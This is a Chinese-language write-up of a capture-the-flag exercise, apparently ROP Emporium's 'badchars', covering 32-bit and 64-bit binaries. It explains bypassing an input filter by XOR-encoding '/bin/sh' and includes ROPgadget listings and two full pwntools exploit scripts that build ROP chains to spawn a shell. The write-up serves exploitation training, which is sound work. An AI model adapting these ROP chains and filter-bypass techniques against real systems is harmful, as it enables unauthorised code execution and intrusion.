这次的程序对输入的字符进行了过滤,对于特定字符b,i,c/ <空格>,f,n.s,会被替换成-21,当然这会对我们成功写入"/bin/sh\x00"造成影响,所以我们要绕过这步替换
v3[0] = 'b';
v3[1] = 'i';
v3[2] = 'c';
v3[3] = '/';
v3[4] = ' ';
v3[5] = 'f';
v3[6] = 'n';
v3[7] = 's';
j = 0LL;
for ( i = 0LL; ; ++i )
{
result = i;
if ( i >= a2 )
break;
for ( j = 0LL; j <= 7; ++j )
{
if ( *(a1 + i) == v3[j] )
{
*(a1 + i) = -21;
break;
}
}
}
return result;
}
可以用xor将 "/bin/sh\x00"先进行加密,成功写入后再解密进行传参,先来找一下可以异或的数字:
binsh = "/bin/sh\x00"
badchar = [98, 105, 99, 47, 32, 102, 110, 115]
# for i in badchar:
# print chr(i)
xornum = 1
while 1:
for x in binsh:
tem = ord(x) ^ xornum
if tem in badchar:
xornum += 1
break
if x == "\x00":
print xornum
xornum += 1
if xornum == 10:
break
找到2,3,5,9,接下来查找一下gadget
$ ROPgadget --binary ./badchars32 --only "mov|pop|ret|xor"
Gadgets information
============================================================
0x08048607 : mov al, byte ptr [0xc9010804] ; ret
0x08048893 : mov dword ptr [edi], esi ; ret
0x08048570 : mov ebx, dword ptr [esp] ; ret
0x080488fb : pop ebp ; ret
0x08048896 : pop ebx ; pop ecx ; ret
0x080488f8 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x08048461 : pop ebx ; ret
0x08048897 : pop ecx ; ret
0x080488fa : pop edi ; pop ebp ; ret
0x0804889a : pop edi ; ret
0x080488f9 : pop esi ; pop edi ; pop ebp ; ret
0x08048899 : pop esi ; pop edi ; ret
0x0804844a : ret
0x0804885e : ret 0xd75
0x080485be : ret 0xeac1
0x08048890 : xor byte ptr [ebx], cl ; ret
Unique gadgets found: 16
因为32位程序一次只能传4个字符,所以需要分两次传
exp:
# -*- coding:UTF-8 -*-
from pwn import *
sh = process('./badchars32')
sysetm_plt = 0x080484E0
binsh = "/bin/sh\x00"
xorbinsh = ""
#加密
for i in binsh:
xorbinsh += chr(ord(i) ^ 2)
mov_edi_esi = 0x08048893
pop_esi_edi = 0x08048899
pop_ebx_ecx = 0x08048896
xor_ebx_cl = 0x08048890
bss_addr = 0x0804A044
payload = ""
payload += 0x28 * "A" + p32(0)
#分两次传
payload += p32(pop_esi_edi)
payload += xorbinsh[0:4]
payload += p32(bss_addr)
payload += p32(mov_edi_esi)
payload += p32(pop_esi_edi)
payload += xorbinsh[4:8]
payload += p32(bss_addr + 4)
payload += p32(mov_edi_esi)
#解密
for x in range(0,len(xorbinsh)):
payload += p32(pop_ebx_ecx)
payload += p32(bss_addr + x) + p32(2)
payload += p32(xor_ebx_cl)
payload += p32(sysetm_plt) + p32(0) + p32(bss_addr)
sh.sendline(payload)
sh.interactive()
64位程序 :
一样的思路,先查一下gadget :
$ ROPgadget --binary ./badchars --only "mov|pop|ret|xor"
Gadgets information
============================================================
0x0000000000400853 : mov byte ptr [rip + 0x20084e], 1 ; ret
0x0000000000400b35 : mov dword ptr [rbp], esp ; ret
0x00000000004008ee : mov eax, 0 ; pop rbp ; ret
0x0000000000400a3b : mov eax, dword ptr [rbp - 8] ; pop rbp ; ret
0x0000000000400b34 : mov qword ptr [r13], r12 ; ret
0x0000000000400a3a : mov rax, qword ptr [rbp - 8] ; pop rbp ; ret
0x0000000000400bac : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400b3b : pop r12 ; pop r13 ; ret
0x0000000000400bae : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400b3d : pop r13 ; ret
0x0000000000400b40 : pop r14 ; pop r15 ; ret
0x0000000000400b42 : pop r15 ; ret
0x0000000000400852 : pop rbp ; mov byte ptr [rip + 0x20084e], 1 ; ret
0x0000000000400bab : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400baf : pop rbp ; pop r14 ; pop r15 ; ret
0x00000000004007f0 : pop rbp ; ret
0x0000000000400b39 : pop rdi ; ret
0x0000000000400b41 : pop rsi ; pop r15 ; ret
0x0000000000400bad : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400b3c : pop rsp ; pop r13 ; ret
0x00000000004006b1 : ret
0x0000000000400aad : ret 0x1075
0x0000000000400b30 : xor byte ptr [r15], r14b ; ret
0x0000000000400b31 : xor byte ptr [rdi], dh ; ret
Unique gadgets found: 24
64位程序就可以一次传进去
exp:
# -*- coding:UTF-8 -*-
from pwn import *
sh = process('./badchars')
binsh = "/bin/sh\x00"
xorbinsh = ""
#加密
for i in binsh:
xorbinsh += chr(ord(i) ^ 2)
bss_addr = 0x0000000000601080
system_plt = 0x00000000004006F0
mov_r13_r12_ret = 0x0000000000400b34
pop_r12_r13_ret = 0x0000000000400b3b
xor_r15_r14_ret = 0x0000000000400b30
pop_r14_r15_ret = 0x0000000000400b40
pop_rdi_ret = 0x0000000000400b39
payload = ""
payload += 0x28 * "A"
#一次传入
payload += p64(pop_r12_r13_ret)
payload += xorbinsh
payload += p64(bss_addr)
payload += p64(mov_r13_r12_ret)
#解密
for i in range(0,len(xorbinsh)):
payload += p64(pop_r14_r15_ret)
payload += p64(2) + p64(bss_addr + i)
payload += p64(xor_r15_r14_ret)
payload += p64(pop_rdi_ret) + p64(bss_addr) + p64(system_plt)
sh.sendline(payload)
sh.interactive()